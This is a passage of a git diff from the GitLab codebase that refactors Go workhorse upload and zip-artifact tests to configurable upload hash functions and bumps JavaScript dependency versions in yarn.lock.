t.Run(test.name, func(t *testing.T) {
- opts := destination.UploadOpts{
+ opts := UploadOpts{
LocalTempPath: test.localTempPath,
PresignedPut: test.presignedPut,
PartSize: test.partSize,
@@ -103,15 +102,17 @@ func TestGetOpts(t *testing.T) {
MultipartUpload: test.multipart,
CustomPutHeaders: test.customPutHeaders,
PutHeaders: test.putHeaders,
+ SkipDelete: true,
},
}
deadline := time.Now().Add(time.Duration(apiResponse.RemoteObject.Timeout) * time.Second)
- opts, err := destination.GetOpts(apiResponse)
+ opts, err := GetOpts(apiResponse)
require.NoError(t, err)
require.Equal(t, apiResponse.TempPath, opts.LocalTempPath)
require.WithinDuration(t, deadline, opts.Deadline, time.Second)
require.Equal(t, apiResponse.RemoteObject.ID, opts.RemoteID)
+ require.Equal(t, apiResponse.RemoteObject.SkipDelete, opts.SkipDelete)
require.Equal(t, apiResponse.RemoteObject.GetURL, opts.RemoteURL)
require.Equal(t, apiResponse.RemoteObject.StoreURL, opts.PresignedPut)
require.Equal(t, apiResponse.RemoteObject.DeleteURL, opts.PresignedDelete)
@@ -155,22 +156,22 @@ func TestGetOptsFail(t *testing.T) {
for _, tc := range testCases {
t.Run(tc.desc, func(t *testing.T) {
- _, err := destination.GetOpts(tc.in)
+ _, err := GetOpts(tc.in)
require.Error(t, err, "expect input to be rejected")
})
}
}
func TestGetOptsDefaultTimeout(t *testing.T) {
- deadline := time.Now().Add(destination.DefaultObjectStoreTimeout)
- opts, err := destination.GetOpts(&api.Response{TempPath: "/foo/bar"})
+ deadline := time.Now().Add(DefaultObjectStoreTimeout)
+ opts, err := GetOpts(&api.Response{TempPath: "/foo/bar"})
require.NoError(t, err)
require.WithinDuration(t, deadline, opts.Deadline, time.Minute)
}
func TestUseWorkhorseClientEnabled(t *testing.T) {
- cfg := destination.ObjectStorageConfig{
+ cfg := ObjectStorageConfig{
Provider: "AWS",
S3Config: config.S3Config{
Bucket: "test-bucket",
@@ -195,7 +196,7 @@ func TestUseWorkhorseClientEnabled(t *testing.T) {
name string
UseWorkhorseClient bool
remoteTempObjectID string
- objectStorageConfig destination.ObjectStorageConfig
+ objectStorageConfig ObjectStorageConfig
expected bool
}{
{
@@ -243,7 +244,7 @@ func TestUseWorkhorseClientEnabled(t *testing.T) {
name: "missing S3 bucket",
UseWorkhorseClient: true,
remoteTempObjectID: "test-object",
- objectStorageConfig: destination.ObjectStorageConfig{
+ objectStorageConfig: ObjectStorageConfig{
Provider: "AWS",
S3Config: config.S3Config{},
},
@@ -269,7 +270,7 @@ func TestUseWorkhorseClientEnabled(t *testing.T) {
},
}
deadline := time.Now().Add(time.Duration(apiResponse.RemoteObject.Timeout) * time.Second)
- opts, err := destination.GetOpts(apiResponse)
+ opts, err := GetOpts(apiResponse)
require.NoError(t, err)
opts.ObjectStorageConfig = test.objectStorageConfig
@@ -322,7 +323,7 @@ func TestGoCloudConfig(t *testing.T) {
},
}
deadline := time.Now().Add(time.Duration(apiResponse.RemoteObject.Timeout) * time.Second)
- opts, err := destination.GetOpts(apiResponse)
+ opts, err := GetOpts(apiResponse)
require.NoError(t, err)
opts.ObjectStorageConfig.URLMux = mux
diff --git a/workhorse/internal/upload/object_storage_preparer_test.go b/workhorse/internal/upload/object_storage_preparer_test.go
index 56de6bbf7d6..b983d68f1ad 100644
--- a/workhorse/internal/upload/object_storage_preparer_test.go
+++ b/workhorse/internal/upload/object_storage_preparer_test.go
@@ -1,4 +1,4 @@
-package upload_test
+package upload
import (
"testing"
@@ -7,7 +7,6 @@ import (
"gitlab.com/gitlab-org/gitlab/workhorse/internal/api"
"gitlab.com/gitlab-org/gitlab/workhorse/internal/config"
- "gitlab.com/gitlab-org/gitlab/workhorse/internal/upload"
"github.com/stretchr/testify/require"
)
@@ -38,7 +37,7 @@ func TestPrepareWithS3Config(t *testing.T) {
},
}
- p := upload.NewObjectStoragePreparer(c)
+ p := NewObjectStoragePreparer(c)
opts, err := p.Prepare(r)
require.NoError(t, err)
@@ -51,7 +50,7 @@ func TestPrepareWithS3Config(t *testing.T) {
func TestPrepareWithNoConfig(t *testing.T) {
c := config.Config{}
r := &api.Response{RemoteObject: api.RemoteObject{ID: "id"}}
- p := upload.NewObjectStoragePreparer(c)
+ p := NewObjectStoragePreparer(c)
opts, err := p.Prepare(r)
require.NoError(t, err)
diff --git a/workhorse/internal/upload/uploads_test.go b/workhorse/internal/upload/uploads_test.go
index cc786079e36..69baa2dab6e 100644
--- a/workhorse/internal/upload/uploads_test.go
+++ b/workhorse/internal/upload/uploads_test.go
@@ -24,7 +24,6 @@ import (
"gitlab.com/gitlab-org/gitlab/workhorse/internal/helper"
"gitlab.com/gitlab-org/gitlab/workhorse/internal/proxy"
"gitlab.com/gitlab-org/gitlab/workhorse/internal/testhelper"
- "gitlab.com/gitlab-org/gitlab/workhorse/internal/upload/destination"
"gitlab.com/gitlab-org/gitlab/workhorse/internal/upload/destination/objectstore/test"
"gitlab.com/gitlab-org/gitlab/workhorse/internal/upstream/roundtripper"
)
@@ -111,13 +110,7 @@ func TestUploadHandlerRewritingMultiPartData(t *testing.T) {
expectedLen := 12
- if destination.FIPSEnabled() {
- expectedLen--
- require.Empty(t, r.FormValue("file.md5"), "file hash md5")
- } else {
- require.Equal(t, "098f6bcd4621d373cade4e832627b4f6", r.FormValue("file.md5"), "file hash md5")
- }
-
+ require.Equal(t, "098f6bcd4621d373cade4e832627b4f6", r.FormValue("file.md5"), "file hash md5")
require.Len(t, r.MultipartForm.Value, expectedLen, "multipart form values")
w.WriteHeader(202)
diff --git a/workhorse/internal/zipartifacts/metadata_test.go b/workhorse/internal/zipartifacts/metadata_test.go
index e4799ba4a59..6bde56ef27d 100644
--- a/workhorse/internal/zipartifacts/metadata_test.go
+++ b/workhorse/internal/zipartifacts/metadata_test.go
@@ -1,4 +1,4 @@
-package zipartifacts_test
+package zipartifacts
import (
"bytes"
@@ -11,8 +11,6 @@ import (
"github.com/stretchr/testify/require"
zip "gitlab.com/gitlab-org/golang-archive-zip"
-
- "gitlab.com/gitlab-org/gitlab/workhorse/internal/zipartifacts"
)
func generateTestArchive(w io.Writer) error {
@@ -72,10 +70,10 @@ func TestGenerateZipMetadataFromFile(t *testing.T) {
ctx, cancel := context.WithCancel(context.Background())
defer cancel()
- archive, err := zipartifacts.OpenArchive(ctx, f.Name())
+ archive, err := OpenArchive(ctx, f.Name())
require.NoError(t, err, "zipartifacts: OpenArchive failed")
- err = zipartifacts.GenerateZipMetadata(&metaBuffer, archive)
+ err = GenerateZipMetadata(&metaBuffer, archive)
require.NoError(t, err, "zipartifacts: GenerateZipMetadata failed")
err = validateMetadata(&metaBuffer)
@@ -96,6 +94,6 @@ func TestErrNotAZip(t *testing.T) {
ctx, cancel := context.WithCancel(context.Background())
defer cancel()
- _, err = zipartifacts.OpenArchive(ctx, f.Name())
- require.Equal(t, zipartifacts.ErrorCode[zipartifacts.CodeNotZip], err, "OpenArchive requires a zip file")
+ _, err = OpenArchive(ctx, f.Name())
+ require.Equal(t, ErrorCode[CodeNotZip], err, "OpenArchive requires a zip file")
}
diff --git a/workhorse/upload_test.go b/workhorse/upload_test.go
index 22abed25928..333301091c7 100644
--- a/workhorse/upload_test.go
+++ b/workhorse/upload_test.go
@@ -20,7 +20,6 @@ import (
"gitlab.com/gitlab-org/gitlab/workhorse/internal/secret"
"gitlab.com/gitlab-org/gitlab/workhorse/internal/testhelper"
"gitlab.com/gitlab-org/gitlab/workhorse/internal/upload"
- "gitlab.com/gitlab-org/gitlab/workhorse/internal/upload/destination"
)
type uploadArtifactsFunction func(url, contentType string, body io.Reader) (*http.Response, string, error)
@@ -66,13 +65,20 @@ func expectSignedRequest(t *testing.T, r *http.Request) {
require.NoError(t, err)
}
-func uploadTestServer(t *testing.T, authorizeTests func(r *http.Request), extraTests func(r *http.Request)) *httptest.Server {
+func uploadTestServer(t *testing.T, allowedHashFunctions []string, authorizeTests func(r *http.Request), extraTests func(r *http.Request)) *httptest.Server {
return testhelper.TestServerWithHandler(regexp.MustCompile(`.`), func(w http.ResponseWriter, r *http.Request) {
if strings.HasSuffix(r.URL.Path, "/authorize") || r.URL.Path == "/api/v4/internal/workhorse/authorize_upload" {
expectSignedRequest(t, r)
w.Header().Set("Content-Type", api.ResponseContentType)
- _, err := fmt.Fprintf(w, `{"TempPath":"%s"}`, scratchDir)
+ var err error
+
+ if len(allowedHashFunctions) == 0 {
+ _, err = fmt.Fprintf(w, `{"TempPath":"%s"}`, scratchDir)
+ } else {
+ _, err = fmt.Fprintf(w, `{"TempPath":"%s", "UploadHashFunctions": ["%s"]}`, scratchDir, strings.Join(allowedHashFunctions, `","`))
+ }
+
require.NoError(t, err)
if authorizeTests != nil {
@@ -83,15 +89,23 @@ func uploadTestServer(t *testing.T, authorizeTests func(r *http.Request), extraT
require.NoError(t, r.ParseMultipartForm(100000))
- var nValues int // file name, path, remote_url, remote_id, size, md5, sha1, sha256, sha512, upload_duration, gitlab-workhorse-upload for just the upload (no metadata because we are not POSTing a valid zip file)
- if destination.FIPSEnabled() {
- nValues = 10
+ nValues := len([]string{
+ "name",
+ "path",
+ "remote_url",
+ "remote_id",
+ "size",
+ "upload_duration",
+ "gitlab-workhorse-upload",
+ })
+
+ if n := len(allowedHashFunctions); n > 0 {
+ nValues += n
} else {
- nValues = 11
+ nValues += len([]string{"md5", "sha1", "sha256", "sha512"}) // Default hash functions
}
require.Len(t, r.MultipartForm.Value, nValues)
-
require.Empty(t, r.MultipartForm.File, "multipart form files")
if extraTests != nil {
@@ -104,7 +118,7 @@ func uploadTestServer(t *testing.T, authorizeTests func(r *http.Request), extraT
func signedUploadTestServer(t *testing.T, authorizeTests func(r *http.Request), extraTests func(r *http.Request)) *httptest.Server {
t.Helper()
- return uploadTestServer(t, authorizeTests, func(r *http.Request) {
+ return uploadTestServer(t, nil, authorizeTests, func(r *http.Request) {
expectSignedRequest(t, r)
if extraTests != nil {
@@ -167,67 +181,80 @@ func TestAcceleratedUpload(t *testing.T) {
{"POST", "/api/v4/projects/group%2Fsubgroup%2Fproject/packages/helm/api/stable/charts", true},
}
- for _, tt := range tests {
- t.Run(tt.resource, func(t *testing.T) {
- ts := uploadTestServer(t,
- func(r *http.Request) {
- if r.URL.Path == "/api/v4/internal/workhorse/authorize_upload" {
- // Nothing to validate: this is a hard coded URL
- return
- }
- resource := strings.TrimRight(tt.resource, "/")
- // Validate %2F characters haven't been unescaped
- require.Equal(t, resource+"/authorize", r.URL.String())
- },
- func(r *http.Request) {
- if tt.signedFinalization {
- expectSignedRequest(t, r)
- }
-
- token, err := jwt.ParseWithClaims(r.Header.Get(upload.RewrittenFieldsHeader), &upload.MultipartClaims{}, testhelper.ParseJWT)
- require.NoError(t, err)
-
- rewrittenFields := token.Claims.(*upload.MultipartClaims).RewrittenFields
- if len(rewrittenFields) != 1 || len(rewrittenFields["file"]) == 0 {
- t.Fatalf("Unexpected rewritten_fields value: %v", rewrittenFields)
- }
-
- token, jwtErr := jwt.ParseWithClaims(r.PostFormValue("file.gitlab-workhorse-upload"), &testhelper.UploadClaims{}, testhelper.ParseJWT)
- require.NoError(t, jwtErr)
-
- uploadFields := token.Claims.(*testhelper.UploadClaims).Upload
- require.Contains(t, uploadFields, "name")
- require.Contains(t, uploadFields, "path")
- require.Contains(t, uploadFields, "remote_url")
- require.Contains(t, uploadFields, "remote_id")
- require.Contains(t, uploadFields, "size")
- if destination.FIPSEnabled() {
- require.NotContains(t, uploadFields, "md5")
- } else {
- require.Contains(t, uploadFields, "md5")
- }
- require.Contains(t, uploadFields, "sha1")
- require.Contains(t, uploadFields, "sha256")
- require.Contains(t, uploadFields, "sha512")
- })
-
- defer ts.Close()
- ws := startWorkhorseServer(ts.URL)
- defer ws.Close()
-
- reqBody, contentType, err := multipartBodyWithFile()
- require.NoError(t, err)
-
- req, err := http.NewRequest(tt.method, ws.URL+tt.resource, reqBody)
- require.NoError(t, err)
+ allowedHashFunctions := map[string][]string{
+ "default": nil,
+ "sha2_only": {"sha256", "sha512"},
+ }
- req.Header.Set("Content-Type", contentType)
- resp, err := http.DefaultClient.Do(req)
- require.NoError(t, err)
- require.Equal(t, 200, resp.StatusCode)
+ for _, tt := range tests {
+ for hashSet, hashFunctions := range allowedHashFunctions {
+ t.Run(tt.resource, func(t *testing.T) {
+
+ ts := uploadTestServer(t,
+ hashFunctions,
+ func(r *http.Request) {
+ if r.URL.Path == "/api/v4/internal/workhorse/authorize_upload" {
+ // Nothing to validate: this is a hard coded URL
+ return
+ }
+ resource := strings.TrimRight(tt.resource, "/")
+ // Validate %2F characters haven't been unescaped
+ require.Equal(t, resource+"/authorize", r.URL.String())
+ },
+ func(r *http.Request) {
+ if tt.signedFinalization {
+ expectSignedRequest(t, r)
+ }
+
+ token, err := jwt.ParseWithClaims(r.Header.Get(upload.RewrittenFieldsHeader), &upload.MultipartClaims{}, testhelper.ParseJWT)
+ require.NoError(t, err)
+
+ rewrittenFields := token.Claims.(*upload.MultipartClaims).RewrittenFields
+ if len(rewrittenFields) != 1 || len(rewrittenFields["file"]) == 0 {
+ t.Fatalf("Unexpected rewritten_fields value: %v", rewrittenFields)
+ }
+
+ token, jwtErr := jwt.ParseWithClaims(r.PostFormValue("file.gitlab-workhorse-upload"), &testhelper.UploadClaims{}, testhelper.ParseJWT)
+ require.NoError(t, jwtErr)
+
+ uploadFields := token.Claims.(*testhelper.UploadClaims).Upload
+ require.Contains(t, uploadFields, "name")
+ require.Contains(t, uploadFields, "path")
+ require.Contains(t, uploadFields, "remote_url")
+ require.Contains(t, uploadFields, "remote_id")
+ require.Contains(t, uploadFields, "size")
+
+ if hashSet == "default" {
+ require.Contains(t, uploadFields, "md5")
+ require.Contains(t, uploadFields, "sha1")
+ require.Contains(t, uploadFields, "sha256")
+ require.Contains(t, uploadFields, "sha512")
+ } else {
+ require.NotContains(t, uploadFields, "md5")
+ require.NotContains(t, uploadFields, "sha1")
+ require.Contains(t, uploadFields, "sha256")
+ require.Contains(t, uploadFields, "sha512")
+ }
+ })
+
+ defer ts.Close()
+ ws := startWorkhorseServer(ts.URL)
+ defer ws.Close()
+
+ reqBody, contentType, err := multipartBodyWithFile()
+ require.NoError(t, err)
+
+ req, err := http.NewRequest(tt.method, ws.URL+tt.resource, reqBody)
+ require.NoError(t, err)
+
+ req.Header.Set("Content-Type", contentType)
+ resp, err := http.DefaultClient.Do(req)
+ require.NoError(t, err)
+ require.Equal(t, 200, resp.StatusCode)
- resp.Body.Close()
- })
+ resp.Body.Close()
+ })
+ }
}
}
diff --git a/yarn.lock b/yarn.lock
index f158fd9ec26..1859dc16ee1 100644
--- a/yarn.lock
+++ b/yarn.lock
@@ -1047,7 +1047,7 @@
resolved "https://registry.yarnpkg.com/@csstools/selector-specificity/-/selector-specificity-2.0.1.tgz#b6b8d81780b9a9f6459f4bfe9226ac6aefaefe87"
integrity sha512-aG20vknL4/YjQF9BSV7ts4EWm/yrjagAN7OWBNmlbEOUiu0llj4OGrFoOKK3g2vey4/p2omKCoHrWtPxSwV3HA==
-"@cubejs-client/core@^0.31.0":
+"@cubejs-client/core@^0.31.15":
version "0.31.15"
resolved "https://registry.yarnpkg.com/@cubejs-client/core/-/core-0.31.15.tgz#db0ee90f5ba7f33a3fae6c81e5e13ab1cf2cd71b"
integrity sha512-VQqvvJn++nqO8aOr/dFtyUURNFYAlP3XlDiupiGLXmSsuUn0BuozJQAmJ5XxPPhvz5k9qBko7KkZuC6ikZTdcA==
@@ -1059,6 +1059,15 @@
url-search-params-polyfill "^7.0.0"
uuid "^8.3.2"
+"@cubejs-client/vue@^0.31.19":
+ version "0.31.19"
+ resolved "https://registry.yarnpkg.com/@cubejs-client/vue/-/vue-0.31.19.tgz#cd8f588e14046091b085c3405f28a62f3e4d949d"
+ integrity sha512-SY2+flIZJARp0cpS7e9ewYwaYCqqh8ifyc11S55ENo2KJsyzdLELSIiTDqy6hppXqtALSOE4feW4Eb/blh6e0w==
+ dependencies:
+ "@cubejs-client/core" "^0.31.15"
+ core-js "^3.6.5"
+ ramda "^0.27.2"
+
"@discoveryjs/json-ext@^0.5.0":
version "0.5.6"
resolved "https://registry.yarnpkg.com/@discoveryjs/json-ext/-/json-ext-0.5.6.tgz#d5e0706cf8c6acd8c6032f8d54070af261bbbb2f"
@@ -1117,10 +1126,10 @@
resolved "https://registry.yarnpkg.com/@gitlab/favicon-overlay/-/favicon-overlay-2.0.0.tgz#2f32d0b6a4d5b8ac44e2927083d9ab478a78c984"
integrity sha512-GNcORxXJ98LVGzOT9dDYKfbheqH6lNgPDD72lyXRnQIH7CjgGyos8i17aSBPq1f4s3zF3PyedFiAR4YEZbva2Q==
-"@gitlab/fonts@^1.0.1":
- version "1.0.1"
- resolved "https://registry.yarnpkg.com/@gitlab/fonts/-/fonts-1.0.1.tgz#5bcdf85d240fb053a7606a4cb79ab1c9b643f148"
- integrity sha512-0e2a7x4A9ngEO/SsV/OQZYvuEAfLxKlS5Smn2zg+XI/6WlyFWNjmxDvdD58zav9Pjar1jrNPWMDLtGqV4U+QxQ==
+"@gitlab/fonts@^1.1.0":
+ version "1.1.0"
+ resolved "https://registry.yarnpkg.com/@gitlab/fonts/-/fonts-1.1.0.tgz#141db7d7c8e72113307614932d64103d3a68668c"
+ integrity sha512-5XNDJke0ElrMRG5iLWOirFRSLQhf9oNpPx5uie1j2l8QU6RLkMAE0nXG6cwJ82mgAV49ZcqLXXSopWvuUg8Y9Q==
"@gitlab/stylelint-config@4.1.0":
version "4.1.0"
@@ -1131,15 +1140,15 @@
stylelint-declaration-strict-value "1.8.0"
stylelint-scss "4.2.0"
-"@gitlab/svgs@3.14.0":
- version "3.14.0"
- resolved "https://registry.yarnpkg.com/@gitlab/svgs/-/svgs-3.14.0.tgz#b32a673f08bbd5ba6d406bcf3abb6e7276271b6c"
- integrity sha512-mQYtW9eGHY7cF6elsWd76hUF7F3NznyzrJJy5eXBHjvRdYBtyHmwkVmh1Cwr3S/2Sl8fPC+qk41a+Nm6n+1mRQ==
+"@gitlab/svgs@3.15.0":
+ version "3.15.0"
+ resolved "https://registry.yarnpkg.com/@gitlab/svgs/-/svgs-3.15.0.tgz#b7284584d1a60093334037d16e0d11b05fb4da38"
+ integrity sha512-l3kWuE/s+UuchouQwKnYtONuTUQtaPHkcbacRSpFEfRcw8FXknlLjUpkO1nfxFaH10jE76KYJNoFad4x74+6nQ==
-"@gitlab/ui@52.6.0":
- version "52.6.0"
- resolved "https://registry.yarnpkg.com/@gitlab/ui/-/ui-52.6.0.tgz#3a2a8a1640dd92013784281929ecde37518de433"
- integrity sha512-1s2LzOJWEGm0ik3NtjC3IE9wTA/1JlRnlTP/lpVD1HzHeQW9bgbdl1U/dNoZT5NTTcBoP4bdQusD+gdB5K7CfQ==
+"@gitlab/ui@52.9.0":
+ version "52.9.0"
+ resolved "https://registry.yarnpkg.com/@gitlab/ui/-/ui-52.9.0.tgz#940fb670570b8e4aaeffd02637273785bd5115b6"
+ integrity sha512-HBBcLtYGgg/ZuBxV9TOl4jc0avugsqKkBQRgV3iw06Uux/8fIl346bEfUjsLNh8rk7ccp8nKb2JozXCjlKs1Qw==
dependencies:
"@popperjs/core" "^2.11.2"
bootstrap-vue "2.20.1"
@@ -1155,10 +1164,10 @@
resolved "https://registry.yarnpkg.com/@gitlab/visual-review-tools/-/visual-review-tools-1.7.3.tgz#9ea641146436da388ffbad25d7f2abe0df52c235"
integrity sha512-NMV++7Ew1FSBDN1xiZaauU9tfeSfgDHcOLpn+8bGpP+O5orUPm2Eu66R5eC5gkjBPaXosNAxNWtriee+aFk4+g==
-"@gitlab/web-ide@0.0.1-dev-20221217175648":
- version "0.0.1-dev-20221217175648"
- resolved "https://registry.yarnpkg.com/@gitlab/web-ide/-/web-ide-0.0.1-dev-20221217175648.tgz#1042fa5a4facfef191aa8df8d8ac3b386c8d1334"
- integrity sha512-njFkUVpIxyNJFSTY82RH5RzyndqyUkortLY87xKcfF0DeQttAOOfcD5jyyktp9ddRorj/ksWT2vNZ+qjEKwlIg==
+"@gitlab/web-ide@0.0.1-dev-20230117122912":
+ version "0.0.1-dev-20230117122912"
+ resolved "https://registry.yarnpkg.com/@gitlab/web-ide/-/web-ide-0.0.1-dev-20230117122912.tgz#fea454042d46f27cebd4d20b7662fa3ffe2e41be"
+ integrity sha512-Q7qeFKTiZWZ0X+N+0npOVbfYkMglH5KHBBYxkPRdxWhIy4QHmjEZK/LjRHITLBwf0H44H6azouEPsMZVib6uOQ==
"@graphql-eslint/eslint-plugin@3.12.0":
version "3.12.0"
@@ -1795,229 +1804,227 @@
dom-accessibility-api "^0.5.1"
pretty-format "^26.4.2"
-"@tiptap/core@^2.0.0-beta.182":
- version "2.0.0-beta.182"
- resolved "https://registry.yarnpkg.com/@tiptap/core/-/core-2.0.0-beta.182.tgz#d2001e9b765adda95e15d171479860a3349e2d04"
- integrity sha512-MZGkMGnVnWhBzjvpBNwQ9zBz38ndi3Irbf90uCTSArR0kaCVkW4vmyuPuOXd+0SO8Yv/l5oyDdOCpaG3rnQYfw==
- dependencies:
- prosemirror-commands "1.3.0"
- prosemirror-keymap "1.2.0"
- prosemirror-model "1.18.1"
- prosemirror-schema-list "1.2.0"
- prosemirror-state "1.4.1"
- prosemirror-transform "1.6.0"
- prosemirror-view "1.26.2"
-
-"@tiptap/extension-blockquote@^2.0.0-beta.29":
- version "2.0.0-beta.29"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-blockquote/-/extension-blockquote-2.0.0-beta.29.tgz#6f1c4b17efa6457c7776f32d0807e96d848d4389"
- integrity sha512-zMYT5TtpKWav9VhTn4JLyMvXmhEdbD6on0MdhcTjRm0I5ugyR4ZbJwh2aelM7G9DZVYzB8jZU18OSDJmo7Af7w==
-
-"@tiptap/extension-bold@^2.0.0-beta.28":
- version "2.0.0-beta.28"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-bold/-/extension-bold-2.0.0-beta.28.tgz#cf67c264a80434ffb2368f3dd37cf357ae0c2064"
- integrity sha512-DY8GOzw9xjmTFrnvTbgHUNxTnDfKrkDgrhe0SUvdkT2udntWp8umPdhPiD3vczLgHOJw6tX68qMRjbsR1ZPcHQ==
-
-"@tiptap/extension-bubble-menu@^2.0.0-beta.61":
- version "2.0.0-beta.61"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-bubble-menu/-/extension-bubble-menu-2.0.0-beta.61.tgz#cc61ce8b094fdbcec58f44f0fa39172a726c024c"
- integrity sha512-T3Yx+y1sUnXAJjK1CUfsQewSxOpDca9KzKqN2H9c9RZ9UlorR9XmZg6YYW7m9a7adeihj+o3cCO9jRd8dV+nnA==
- dependencies:
- prosemirror-state "1.4.1"
- prosemirror-view "1.26.2"
+"@tiptap/core@^2.0.0-beta.202":
+ version "2.0.0-beta.202"
+ resolved "https://registry.yarnpkg.com/@tiptap/core/-/core-2.0.0-beta.202.tgz#be4c6a200e81875c552e1cc15ae9c6cdd86c37c2"
+ integrity sha512-KnOcZBtkWoDT7EsVLiJr9DyBnQcKJQHI8kOhNIL0snUrksr25q8xBW05iYqw6cGAF7iu1cFM80VikfgefsZUpw==
+ dependencies:
+ prosemirror-commands "^1.3.1"
+ prosemirror-keymap "^1.2.0"
+ prosemirror-model "^1.18.1"
+ prosemirror-schema-list "^1.2.2"
+ prosemirror-state "^1.4.1"
+ prosemirror-transform "^1.7.0"
+ prosemirror-view "^1.28.2"
+
+"@tiptap/extension-blockquote@^2.0.0-beta.202":
+ version "2.0.0-beta.202"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-blockquote/-/extension-blockquote-2.0.0-beta.202.tgz#91168b32387ed0ce4d03dd3b6c802682287ede3c"
+ integrity sha512-weLbMxM7VfI4hJsThw1+mB4jbQnVFizmzRlGU40LKMzEU5yIgIhuaomQ02Z7V0cRgfXsoKX9oc0BYGiO0Ra6/g==
+
+"@tiptap/extension-bold@^2.0.0-beta.202":
+ version "2.0.0-beta.202"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-bold/-/extension-bold-2.0.0-beta.202.tgz#877309e7b84701c22865517f09cbc5d288aa9369"
+ integrity sha512-AsfoChIleoSbY9gAuhbLF8BAEhHPrRKofmU09xJ62SBkL1rtgci8YzJYhL9leQCM4n1MQZEDeVf0ho75HeTPMA==
+
+"@tiptap/extension-bubble-menu@2.0.0-beta.200", "@tiptap/extension-bubble-menu@^2.0.0-beta.200":
+ version "2.0.0-beta.200"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-bubble-menu/-/extension-bubble-menu-2.0.0-beta.200.tgz#7851efdb5b9bccf78a020e386ee0f5eb92103198"
+ integrity sha512-57EIDlYpI+jRurzHzsnulkAgf+LFoGytK5YcoXmuq8A2f295mj9ANzuOUnLJ76nm2NBmt8Y6ks0zUIIktKKK0Q==
+ dependencies:
+ prosemirror-state "^1.4.1"
+ prosemirror-view "^1.28.2"
tippy.js "^6.3.7"
-"@tiptap/extension-bullet-list@^2.0.0-beta.29":
- version "2.0.0-beta.29"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-bullet-list/-/extension-bullet-list-2.0.0-beta.29.tgz#640883e4fffc1a86c7cbd78792688e7edee5ee41"
- integrity sha512-R8VB2l1ZB6VeGWx/t/04nBS5Wg3qjIDEZCpPihj2fccJOw99Lu0Ub2UJg/SfdGmeNNpBh4ZYYFv1g/XjyzlXKg==
-
-"@tiptap/extension-code-block-lowlight@2.0.0-beta.73":
- version "2.0.0-beta.73"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-code-block-lowlight/-/extension-code-block-lowlight-2.0.0-beta.73.tgz#3f4711fadb1a1f51efbf58389216e6c8bca83d84"
- integrity sha512-57jqDd2jzQPlYKPtnDIlwwaZrHLlgUVCe+NIWgK6bpP1yF4bUE3Dguqw1owN6oBWBf0kQnm0TQjbn50B/wnUjQ==
- dependencies:
- "@tiptap/extension-code-block" "^2.0.0-beta.42"
- "@types/lowlight" "^0.0.3"
- prosemirror-model "1.18.1"
- prosemirror-state "1.4.1"
- prosemirror-view "1.26.2"
-
-"@tiptap/extension-code-block@^2.0.0-beta.42":
- version "2.0.0-beta.42"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-code-block/-/extension-code-block-2.0.0-beta.42.tgz#2abfd92eb22399fa542aafb3b76dddfb41d87ab5"
- integrity sha512-4wzLup4mI8w9ypIceekUV/8g41cQIPn31qs1iC9u1/JuTkjMj/tA+TFUyp6IMugLxoI/P2DlTztU6/6m7n9DyQ==
- dependencies:
- prosemirror-state "1.4.1"
-
-"@tiptap/extension-code@^2.0.0-beta.28":
- version "2.0.0-beta.28"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-code/-/extension-code-2.0.0-beta.28.tgz#a22c0e873497ac0bbcd77e4a855322f8591f954e"
- integrity sha512-QPJ2Gwb1+3NgcC1ZIhvVcb+FsnWWDu5VZXTKXM4mz892i9V2x48uHg5anPiUV6pcolXsW1F5VNbXIHGTUUO6CQ==
-
-"@tiptap/extension-document@^2.0.0-beta.17":
- version "2.0.0-beta.17"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-document/-/extension-document-2.0.0-beta.17.tgz#ded4182dd860762bcf41c588f712d83908c472a3"
- integrity sha512-L6sg0FNchbtIpQkCSjMmItVGs3/vep8Fq56WRtDc1wBSGUSmtHaxQG7F2FZLnNIUMuvzVMRD81m2vYG73WkY6A==
-
-"@tiptap/extension-dropcursor@^2.0.0-beta.28":
- version "2.0.0-beta.28"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-dropcursor/-/extension-dropcursor-2.0.0-beta.28.tgz#55013b1356fd589990003c83bb719d7b4ccad46d"
- integrity sha512-t61/pALhkV7gORM+KM2M7hypNfJt+bHgk1Lk7FrWqKXQCkVGQzdOgPfnuFxpzi8kC2m7jQxvZC3S+4oBBKhkPA==
- dependencies:
- prosemirror-dropcursor "^1.5.0"
-
-"@tiptap/extension-floating-menu@^2.0.0-beta.56":
- version "2.0.0-beta.56"
- resolved "https://registry.yarnpkg.com/@tiptap/extension-floating-menu/-/extension-floating-menu-2.0.0-beta.56.tgz#c7428d9109d215bdbd9033f69782c4aadb2aabec"
- integrity sha512-j/evHE/6UPGkIgXny9IGcAh0IrcnQmg0b2NBYebs2mqx9xYKYoe+0jVgNdLp/0M3MRgQCzyWTyatBDBFOUR2mw==
- dependencies:
- prosemirror-state "1.4.1"
- prosemirror-view "1.26.2"
+"@tiptap/extension-bullet-list@^2.0.0-beta.202":
+ version "2.0.0-beta.202"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-bullet-list/-/extension-bullet-list-2.0.0-beta.202.tgz#1826ec86a83cc2feba3f90b3015c0e642a925f8c"
+ integrity sha512-Su+GvRGyW9FTBtcFjvNkkYwzDRo+1O2YTNOZi1Z/OkDqbg3g89kRue78avs0nHW7HEgdhCap+z8KtAPrie4eBg==
+
+"@tiptap/extension-code-block-lowlight@2.0.0-beta.202":
+ version "2.0.0-beta.202"
+ resolved "https://registry.yarnpkg.com/@tiptap/extension-code-block-lowlight/-/extension-code-block-lowlight-2.0.0-beta.202.tgz#a94635bbe26f94eec0aef08682ebc6cadd3ca05f"
+ integrity sha512-FnYBl0Bgir+KkSScK4bUKVfvmEb2Q0aeDQh53umCeCGpVIzyO6JqggNqtBh0RqnJDptCSoP72fq7lu8uhQtYhw==
+ dependencies:
+ prosemirror-model "^1.18.1"
+ prosemirror-state "^1.4.1"
+ prosemirror-view "^1.28.2"
+
+"@tiptap/extension-code-block@^2.0.0-beta.202":
+ version "2.0.0-beta.202"
